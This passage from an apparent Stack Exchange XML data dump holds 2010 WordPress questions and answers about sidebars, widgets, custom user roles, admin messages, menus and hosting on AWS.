  <row Id="2457" PostTypeId="2" ParentId="2399" CreationDate="2010-10-01T14:57:52.720" Score="4" ViewCount="" Body="&lt;p&gt;I don't know why anybody checks whether &lt;code&gt;dynamic_sidebar&lt;/code&gt; exists. It's been around for 9 major releases now. I really hope you're not developing for 2.1 or lower. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_page('approach') )&#xA;  dynamic_sidebar(1);&#xA;elseif( is_page('research') )&#xA;  dynamic_sidebar(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know the specific page you want to use, don't bother with that subpage junk. Besides, that function only checks if you're on a subpage in general, but it won't tell you if you're on a specific subpage.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-01T14:57:52.720" CommentCount="1" />
  <row Id="2458" PostTypeId="2" ParentId="2137" CreationDate="2010-10-01T15:55:49.893" Score="3" ViewCount="" Body="&lt;p&gt;You can also click on the blue square icon, second from right in your screenshot. That brings the edit box to full screen.&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-10-01T15:55:49.893" />
  <row Id="2459" PostTypeId="2" ParentId="2451" CreationDate="2010-10-01T16:32:22.710" Score="3" ViewCount="" Body="&lt;p&gt;If you are OK with using javascript, you can try the following in your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_footer', 'my_admin_footer');&#xA;function my_admin_footer()&#xA;{&#xA;    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : NULL ;&#xA;&#xA;    $message = NULL;&#xA;&#xA;    if ($uri AND strpos($uri,'edit.php'))&#xA;    {&#xA;        if (strpos($uri,'post_type=page'))&#xA;        {&#xA;            $message = 'My custom message for page list';&#xA;        }&#xA;        else&#xA;        {&#xA;            $message = 'My custom message for post list';&#xA;        }&#xA;    }&#xA;&#xA;    elseif ($uri AND strpos($uri,'post-new.php'))&#xA;    {&#xA;        if (strpos($uri,'post_type=page'))&#xA;        {&#xA;            $message = 'My custom message for add/edit page';&#xA;        }&#xA;        else&#xA;        {&#xA;            $message = 'My custom message for add/edit post';&#xA;        }&#xA;    }&#xA;&#xA;    elseif ($uri AND strpos($uri,'post.php'))&#xA;    {&#xA;        $message = 'My custom message for add/edit post or page';&#xA;    }&#xA;&#xA;    if ($message)&#xA;    {&#xA;        ?&amp;gt;&amp;lt;script&amp;gt;&#xA;            jQuery(function($)&#xA;            {&#xA;                $('&amp;lt;div style=&quot;margin-bottom:15px; color:#999;&quot;&amp;gt;&amp;lt;/div&amp;gt;').text('&amp;lt;?php echo $message; ?&amp;gt;').insertAfter('#wpbody-content .wrap h2:eq(0)');&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2010-10-01T16:32:22.710" CommentCount="1" />
  <row Id="2460" PostTypeId="1" CreationDate="2010-10-01T16:41:25.463" Score="1" ViewCount="119" Body="&lt;p&gt;I am trying to customize the 404.php page by adding a graphic. I can figure out how to change the text and links, but the HTML I just don't know well enough to add a picture or graphic. I am using Church Theme from StudioPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2010-10-01T17:02:56.567" Title="Adding graphics to 404.php page" Tags="&lt;php&gt;&lt;pictures&gt;" AnswerCount="1" />
  <row Id="2461" PostTypeId="2" ParentId="2460" CreationDate="2010-10-01T17:02:56.567" Score="4" ViewCount="" Body="&lt;p&gt;How are you changing the text and links? If you're editing a 404.php file, then you simply need to add html to output whatever images you want, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;http://www.google.com/images/logos/ps_logo2.png&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will output this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/images/logos/ps_logo2.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on HTML, check out w3schools.com's excellent material: &lt;a href=&quot;http://www.w3schools.com/html/&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/html/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-10-01T17:02:56.567" CommentCount="1" />
  <row Id="2462" PostTypeId="1" CreationDate="2010-10-01T17:14:25.700" Score="0" ViewCount="147" Body="&lt;p&gt;I have been searching for the past two weeks but haven't been unable to come across what i'm looking to do in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation: In WordPress, I am looking to do something similar to this: &lt;a href=&quot;http://stackoverflow.com/questions/1876767/how-can-i-build-a-filterable-jquery-slider-for-a-portfolio&quot;&gt;http://stackoverflow.com/questions/1876767/how-can-i-build-a-filterable-jquery-slider-for-a-portfolio&lt;/a&gt; - but instead of having numbers, have thumbnails shown (all in WordPress). Can anyone give me some guidance on how to achieve this and/or have an example of this being done in WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T01:17:45.970" LastActivityDate="2010-10-03T01:17:45.970" ClosedDate="2011-01-21T15:56:16.817" Title="WordPress jQuery filterable slideshow" Tags="&lt;jquery&gt;" CommentCount="2" />
  <row Id="2463" PostTypeId="2" ParentId="1854" CreationDate="2010-10-01T17:48:36.783" Score="-2" ViewCount="" Body="&lt;p&gt;I'd like to also suggest the use of &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy Meta Box&lt;/a&gt; for creating your meta boxes ...&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2010-10-01T17:48:36.783" CommentCount="1" />
  <row Id="2464" PostTypeId="2" ParentId="1311" CreationDate="2010-10-01T17:53:15.510" Score="1" ViewCount="" Body="&lt;p&gt;I'd like to also suggest the use of &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy Meta Box&lt;/a&gt; for creating your meta boxes ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_metabox = new WPAlchemy_MetaBox(array&#xA;(&#xA;    'id' =&amp;gt; '_custom_meta',&#xA;    'title' =&amp;gt; 'My Custom Meta',&#xA;    'template' =&amp;gt; TEMPLATEPATH . '/custom/meta.php',&#xA;    'lock' =&amp;gt; 'after_post_title', &#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2010-10-01T17:53:15.510" />
  <row Id="2465" PostTypeId="2" ParentId="2204" CreationDate="2010-10-01T18:31:01.257" Score="0" ViewCount="" Body="&lt;p&gt;just pass a flag to the wp_list_pages function call. All you need to do is get the page ID you want to exclude. See the example on the codex page listed below.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#Exclude_Pages_from_List&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages#Exclude_Pages_from_List&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-01T18:31:01.257" />
  <row Id="2466" PostTypeId="1" AcceptedAnswerId="2467" CreationDate="2010-10-01T19:04:55.603" Score="0" ViewCount="180" Body="&lt;p&gt;I switched to another theme and decided to make a widget of some default code I had in there which shows my delicious posts, twitter posts, su posts and youtube vids in a custom loop (excluding these categories from the main loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now...the paging no longer works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made this widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// =============================== EDL Sidebar Posts Widget ======================================&#xA;class SidebarPosts extends WP_Widget {&#xA;&#xA;function SidebarPosts() {&#xA;    parent::WP_Widget(false, $name = 'Sidebar Posts'); &#xA;}&#xA;&#xA;/** @see WP_Widget::widget */&#xA;function widget($args, $instance) {  &#xA;    extract( $args );&#xA;&#xA;    $title = apply_filters('widget_title', $instance['title']);&#xA;    echo $before_widget; if ( $title )&#xA;    echo $before_title . $title . $after_title; &#xA;    $title = apply_filters('widget_title', $instance['title']);&#xA;&#xA;    global $wp_query;&#xA;&#xA;    $wp_query = new WP_Query();&#xA;    $wp_query-&amp;gt;set('cat', '1172,14,867');&#xA;    $wp_query-&amp;gt;set('posts_per_page', 30);&#xA;    $wp_query-&amp;gt;set('offset', $paged*30);  &#xA;    $posts = $wp_query-&amp;gt;get_posts(); &#xA;    if ($posts) : &#xA;        foreach ($posts as $post) : the_post();&#xA;            if (in_category(14)) { &#xA;                echo $this-&amp;gt;createSideBarLine($post, 'http://populair.eu/wp-content/themes/pop/bookmark_info/com/delicious/f.png', false, true, true);  &#xA;            } elseif (in_category(1172)) { &#xA;                echo $this-&amp;gt;createSideBarLine($post, '/wp-content/themes/edl/inc/banners/twitter.gif', false, true, true); &#xA;            } elseif (in_category(867)) { &#xA;                echo $this-&amp;gt;createSideBarLine($post, 'http://populair.eu/wp-content/themes/pop/bookmark_info/com/stumbleupon/www/f.png', true, true, true);&#xA;            } &#xA;        endforeach; &#xA;        echo &quot;&amp;lt;p&amp;gt;&quot; . _e('More on the Next Page!') . &quot;&amp;lt;/p&amp;gt;&quot;;   &#xA;        wp_link_pages(array('next_or_number'=&amp;gt;'next', 'previouspagelink' =&amp;gt; ' &amp;amp;laquo; ', 'nextpagelink'=&amp;gt;' &amp;amp;raquo;'));&#xA;&#xA;    else: &#xA;        echo &quot;&amp;lt;p&amp;gt;&quot; . _e('Jump to the frontpage for the list') . '&amp;lt;/p&amp;gt;';&#xA;    endif; &#xA;&#xA;    echo $after_widget;&#xA;}&#xA;&#xA;/** @see WP_Widget::update */&#xA;function update($new_instance, $old_instance) {    &#xA;    return $new_instance;&#xA;}&#xA;&#xA;/** @see WP_Widget::form */&#xA;function form($instance) {  &#xA;$title = apply_filters('widget_title', $instance['title']);&#xA;    ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt; &amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;function get_the_content_with_formatting ($more_link_text = '(more...)', $stripteaser = 0, $more_file = '') {&#xA;    $content = get_the_content($more_link_text, $stripteaser, $more_file);&#xA;    $content = apply_filters('the_content', $content);&#xA;    $content = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $content);&#xA;    return $content;&#xA;}&#xA;&#xA;//&#xA;// Shows a line in the LifeFeed / IssueFeed / BrainFeed sidebar&#xA;// widgets&#xA;//&#xA;function createSideBarLine($post,$strImage, $boolShowTitle, $boolShowExcerpt, $boolShowContent) {&#xA;    global $wp_query;&#xA;&#xA;    $strBuffer=&quot;&quot;;&#xA;    $strTitle = strip_tags(get_the_title());&#xA;    $strPermalink = get_permalink($post-&amp;gt;ID);&#xA;    $intId = $post-&amp;gt;ID;&#xA;    $strContent = $this-&amp;gt;get_the_content_with_formatting();&#xA;    $strContent = str_replace('&amp;lt;p&amp;gt;', '', $strContent);&#xA;    $strEditPostLink = get_edit_post_link();&#xA;&#xA;    // if content contains &quot;YouTube&quot; then use YouTube icon&#xA;    if (strstr($strContent, 'YouTube')) {&#xA;        $strImage = 'http://populair.eu/wp-content/themes/pop/bookmark_info/com/youtube/www/f.png';&#xA;    }&#xA;&#xA;    $strBuffer.= '&amp;lt;div class=&quot;tb-link&quot; id=&quot;post-'.  $intId . '&quot;&amp;gt;';&#xA;    $strBuffer.= '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;' . $strPermalink; &#xA;    $strBuffer.= '&quot; rel=&quot;nofollow bookmark&quot; title=&quot;Permanent Link to ';&#xA;    $strBuffer.= $title . '&quot;&amp;gt;';&#xA;    $strBuffer.= '&amp;lt;img src=&quot;'. $strImage . '&quot; align=&quot;left&quot; ';&#xA;    $strBuffer.= 'width=&quot;12&quot; style=&quot;border: 0px none;';&#xA;    $strBuffer.= 'margin: 0px 10px 0px 0px; display: inline;&quot;&amp;gt;';&#xA;    $strBuffer.= '&amp;lt;/a&amp;gt;';&#xA;    if ($boolShowTitle) {&#xA;        $strBuffer.= '&amp;lt;a href=&quot;' . $strPermalink;&#xA;        $strBuffer.= '&quot; rel=&quot;nofollow bookmark&quot;'; &#xA;        $strBuffer.= 'title=&quot;Permanent Link to ' . $strTitle . '&quot;&amp;gt;';&#xA;        $strBuffer.= $strTitle . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;    if ($boolShowExcerpt) {&#xA;        $strBuffer.= $post-&amp;gt;post_excerpt;&#xA;    }&#xA;    if ($boolShowContent) {&#xA;        $strBuffer.= $strContent;&#xA;    }  &#xA;    if (is_admin()) {&#xA;        $strBuffer.= '&amp;lt;a href=&quot;'. $strEditPostLink . '&quot; class=&quot;editpost&quot;&amp;gt;';&#xA;        $strBuffer.= ' [edit]&amp;lt;/a&amp;gt;';&#xA;    }  &#xA;    $strBuffer.= &quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;   &#xA;    return $strBuffer;   &#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the in the previous theme it could pick up the $paged from the main loop or something now it no longer shows any paging so it always only shows the first 30 items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(see &lt;a href=&quot;http://edward.de.leau.net/&quot; rel=&quot;nofollow&quot;&gt;http://edward.de.leau.net/&lt;/a&gt; for the thing, busy converting to swift theme)&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-01T19:13:49.120" LastActivityDate="2010-10-01T19:18:57.090" Title="Paging in a sidebar mini loop" Tags="&lt;sidebar&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="2467" PostTypeId="2" ParentId="2466" CreationDate="2010-10-01T19:13:58.907" Score="1" ViewCount="" Body="&lt;p&gt;Try doing &lt;code&gt;global $paged&lt;/code&gt; before using the variable in the widget function.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-01T19:13:58.907" CommentCount="3" />
  <row Id="2469" PostTypeId="1" CreationDate="2010-10-01T19:57:35.337" Score="1" ViewCount="220" Body="&lt;p&gt;I want to make a user class that can edit pages, and save them as a draft without being able to publish it. An admin would have to go in and publish the draft once they approve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is similar to TDO Mini Forms except this will be done within the Wordpress admin panel, not be a form, and they must be a registered user in a specific class to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-10-09T21:16:34.893" Title="Allow a userclass to save a page as a draft - but not publish w/o admin approval" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="0" />
  <row Id="2470" PostTypeId="2" ParentId="2469" CreationDate="2010-10-01T20:09:33.257" Score="0" ViewCount="" Body="&lt;p&gt;This is what you may want to do (add the following code to your theme functions.php file or a custom plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_role() {&#xA;    global $wp_roles;&#xA;&#xA;    $custom_capabilities = array(&#xA;        'read', 'edit_posts', 'upload_files',&#xA;        'read_private_pages', 'edit_private_pages', 'read_private_posts',&#xA;        'edit_private_posts', 'edit_published_pages', 'edit_others_pages',&#xA;        'edit_pages', 'edit_published_posts', 'edit_others_post',&#xA;        'unfiltered_html', 'manage_options'&#xA;    );&#xA;&#xA;    $wp_roles-&amp;gt;add_role( 'custom_role', 'Custom Role', $custom_capabilities );&#xA;}&#xA;&#xA;add_action( 'init', 'add_custom_role' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;References:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-09T21:16:34.893" LastActivityDate="2010-10-09T21:16:34.893" CommentCount="2" />
  <row Id="2471" PostTypeId="2" ParentId="2423" CreationDate="2010-10-01T21:41:36.830" Score="1" ViewCount="" Body="&lt;p&gt;lol, i think you still need to invest more on wordpress codex&#xA;function: get_post_meta&#xA;check this on wordpress codex site and you'll see all you want.&#xA;and to build your CCK like custom fields, use More Fields plugins and create your own Custom Fields and type there and then assign it to your custom post type and set the role for it.&#xA;honestly after alot of work with wordpress i can tell you, you can do anything with wordpress, there is no limitation.&#xA;You will see more polish version soon by releasing of wp3.1&#xA;Query multiple taxonomies, custom post type archive template and so on.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-01T21:41:36.830" CommentCount="1" />
  <row Id="2472" PostTypeId="2" ParentId="2469" CreationDate="2010-10-01T21:50:46.847" Score="2" ViewCount="" Body="&lt;p&gt;Sorich87 is right. The WP Codex describes a contributor as: &#xA;Somebody who can write and manage their posts but not publish them. (See codex.wordpress.org/Roles_and_Capabilities). If you want people to automatically have this capability when they register, you can set the default role to Contributor in the settings panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need additional permissions not handled by the built in Wordpress permissions -- say, for example, you want a user that can edit other people's posts as well, but once they're edited they go back to being drafts, or whatever -- then there are several good Role Manager plugins (listed in the above article under Other Resources), or if you prefer to &quot;role&quot; your own (pardon the atrocious pun), this article is a good place to start: &lt;a href=&quot;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/#add-capability&quot; rel=&quot;nofollow&quot;&gt;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/#add-capability&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2010-10-01T22:48:28.740" LastActivityDate="2010-10-01T22:48:28.740" CommentCount="2" />
  <row Id="2473" PostTypeId="2" ParentId="1364" CreationDate="2010-10-01T21:59:43.960" Score="0" ViewCount="" Body="&lt;p&gt;re: Does having the date information reduce the quality of the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, definitions of quality vary. I think month and day are unhelpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you like dating your posts then /%year%/%postname%/ is the cleanest, as long as you ensure your slug contains relevant keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People do sometimes add the current year to a search query, and it can help when people are picking between different URLs (if competing URLs look like they could contain outdated information). Couple this to the performance tips also on this page and it seems that the year is a good thing to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dangers of category is that categories change. The year you posted a post changes considerably less often.&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2010-10-01T21:59:43.960" />
  <row Id="2474" PostTypeId="1" CreationDate="2010-10-01T22:43:17.103" Score="5" ViewCount="263" Body="&lt;p&gt;Anyone know how to disable this functionality so the meta boxes can't be repositioned?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="1063" LastEditorDisplayName="" LastEditDate="2010-10-02T00:23:13.447" LastActivityDate="2011-08-03T15:11:15.040" Title="Disable dragging of meta boxes?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;metabox&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="2475" PostTypeId="1" CreationDate="2010-10-01T22:52:17.173" Score="0" ViewCount="113" Body="&lt;p&gt;I am working on a theme where I would like users to be able to select pages to show in the theme options page much like Thesis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been Googling / reverse engineering Thesis for a couple hours but haven't found a great solution. I am wondering if anyone has done this or has seen a tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5Fu7o.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-10-04T02:16:35.033" Title="Thesis -style Navigation" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;admin&gt;&lt;themes&gt;" AnswerCount="2" />
  <row Id="2476" PostTypeId="1" AcceptedAnswerId="2530" CreationDate="2010-10-01T23:39:27.083" Score="3" ViewCount="295" Body="&lt;p&gt;How much should I charge for creating a custom WordPress plugin? (working as a freelancer)&lt;/p&gt;&#xA;" OwnerUserId="1119" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T01:16:54.800" LastActivityDate="2010-10-04T05:13:26.470" Title="How much should I charge for creating a WordPress plugin?" Tags="&lt;plugins&gt;&lt;paid-plugins&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="2477" PostTypeId="1" AcceptedAnswerId="2486" CreationDate="2010-10-01T23:49:42.633" Score="3" ViewCount="1994" Body="&lt;p&gt;I've been looking into the feasibility of using something like Amazon Web Services for hosting WordPress sites. I was wondering if it was possible and if so what are people's experiences of having done so and what aspects of AWS did you use?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-10-04T05:20:58.960" Title="Can you host WordPress using Amazon Web Services such as EC2, RDS, EBS etc?" Tags="&lt;server&gt;&lt;hosting&gt;&lt;services&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="2478" PostTypeId="2" ParentId="2475" CreationDate="2010-10-02T00:00:57.010" Score="1" ViewCount="" Body="&lt;p&gt;This is how I do it in a custom theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Select pages to include in menu:&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php&#xA;$page_ids = get_all_page_ids();&#xA;$current_selected = get_option(&quot;pages_to_include&quot;);&#xA;&#xA;foreach( $page_ids as $page_id ) {&#xA;    if( get_post_status( $page_id ) == 'publish' ) {&#xA;        $checked = ( !empty( $current_selected ) &amp;amp;&amp;amp; in_array( $page_id, $current_selected ) ) ? ' checked=&quot;checked&quot;' : '';&#xA;        echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;page_to_include[]&quot; id=&quot;page-' . $page_id . '&quot; value=&quot;' . $page_id . '&quot;' . $checked . ' /&amp;gt; &amp;lt;label for=&quot;page-' . $page_id . '&quot;&amp;gt;' . get_the_title( $page_id ) . '&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You store the pages list in an option (here is &lt;code&gt;&quot;pages_to_include&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-02T00:00:57.010" CommentCount="2" />
  <row Id="2479" PostTypeId="2" ParentId="2476" CreationDate="2010-10-02T01:02:19.130" Score="2" ViewCount="" Body="&lt;p&gt;rather than charging per-work, it would be easier to charge per-hour&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-02T01:02:19.130" />
  <row Id="2480" PostTypeId="1" CreationDate="2010-10-02T01:44:32.917" Score="0" ViewCount="248" Body="&lt;p&gt;What is the easiest way to place the Archives and Categories lists within my menu under a parent tab. I'd like both of the lists, such as &quot;Archives&quot; leading to the &quot;archives&quot; sub-menu, and the same for Categories. I'm looking for a non-programmatic (admin-panel only) solution for this.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditorDisplayName="" LastEditDate="2010-10-03T23:59:14.090" LastActivityDate="2010-10-08T02:26:12.140" Title="Archives and Categories in Custom Menu" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;categories&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="2481" PostTypeId="1" AcceptedAnswerId="2482" CreationDate="2010-10-02T01:48:35.053" Score="2" ViewCount="131" Body="&lt;p&gt;I am very new to using WordPress and I was wondering what the benefits of using widgets is? Looking &lt;a href=&quot;http://codex.wordpress.org/Widgetizing_Themes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; it sounds like they are for people who are not programmers that want to add plugins to their site. Is that correct? or do widgets allow the site to be more robust in some way?&lt;/p&gt;&#xA;" OwnerUserId="1122" LastActivityDate="2010-10-02T23:43:48.937" Title="Why use widgets?" Tags="&lt;widgets&gt;" AnswerCount="3" />
  <row Id="2482" PostTypeId="2" ParentId="2481" CreationDate="2010-10-02T01:56:02.813" Score="3" ViewCount="" Body="&lt;p&gt;I battled with this very same question. I'm presently developing my own ability to develop WordPress sites. My employer is launching numerous websites on the engine, and is moving me from general PHP work to focused WordPress development. The thing is, these sites will all be managed by other people, and not myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using widgets allows the non-programmers to help develop the site without potential of breaking things. For instance, they can move things around in the sidebar, change up the contents of the footer, and so much more. That being said, I wish I could prevent them from doing some types of editing, but permit them to do others. While they can't break the site (to my knowledge), they could really make it ugly.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-10-02T01:56:02.813" CommentCount="2" />
  <row Id="2483" PostTypeId="2" ParentId="2477" CreationDate="2010-10-02T03:01:01.337" Score="1" ViewCount="" Body="&lt;p&gt;Yes you can, performance wise things should be just as fast, if not faster than a standard dedicated box, you just need to figure out if the varying costs are worth it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use something like Scalr, you can do some neat auto scaling stuff as well. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-10-02T03:01:01.337" />
  <row Id="2484" PostTypeId="1" CreationDate="2010-10-02T05:05:37.780" Score="0" ViewCount="263" Body="&lt;p&gt;I don't know what did I change, other than creating a new ftp account because the other one wasn't working with my ftp client. Now when I go to the login page, it doesn't accept my correct wp password, and this happens in the url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ieltsonlinecourses.com/wp-login.php?redirect_to=http://www.ieltsonlinecourses.com/wp-admin/profile.php&amp;amp;reauth=1&quot; rel=&quot;nofollow&quot;&gt;http://www.ieltsonlinecourses.com/wp-login.php?redirect_to=http://www.ieltsonlinecourses.com/wp-admin/profile.php&amp;amp;reauth=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't set any redirection of any kind. Please help me out, I can't login back to my own site!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capex.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-02T09:25:51.827" Title="Can't login to my admin area" Tags="&lt;admin&gt;&lt;login&gt;&lt;redirect&gt;" AnswerCount="2" />
  <row Id="2485" PostTypeId="2" ParentId="2484" CreationDate="2010-10-02T06:31:27.277" Score="1" ViewCount="" Body="&lt;p&gt;If you have database access through phpmyadmin or some similar tool, you can manually set the password in the users table. The column 'user_pass' is an md5 hash of your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this excellent resource: &lt;a href=&quot;http://lorelle.wordpress.com/2009/02/06/the-agony-of-the-lost-wordpress-password/&quot; rel=&quot;nofollow&quot;&gt;http://lorelle.wordpress.com/2009/02/06/the-agony-of-the-lost-wordpress-password/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2010-10-02T06:31:27.277" />
  <row Id="2486" PostTypeId="2" ParentId="2477" CreationDate="2010-10-02T07:41:31.117" Score="5" ViewCount="" Body="&lt;p&gt;You explicitly mention three services in your question title: EC2, RDS and EBS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're the three services you're interested in, then yes, very easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EC2 + EBS are pretty much the same thing, EBS is simply a persistent storage extension to EC2, and RDS is a full MySQL database - you should be able to get those three services running together very easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were looking to extend to some of the other AWS products, S3 is very easy to implement on WordPress for file uploads - check some of &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=s3&quot; rel=&quot;nofollow&quot;&gt;these plugins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SimpleDB, however, has very limited usefulness to us without a rewrite of how WordPress reads and writes to the database. There is an &lt;a href=&quot;http://www.tripledogs.com/downloads/samples/2008_Creating_a_WordPress_Plugin_Using_Amazon_SimpleDB.pdf&quot; rel=&quot;nofollow&quot;&gt;article by Amazon&lt;/a&gt; on how to create a plugin which adds tagging functionality that uses SimpleDB as the storage, but that is as much as I could find regarding the use of SimpleDB with WordPress.&lt;/p&gt;&#xA;" 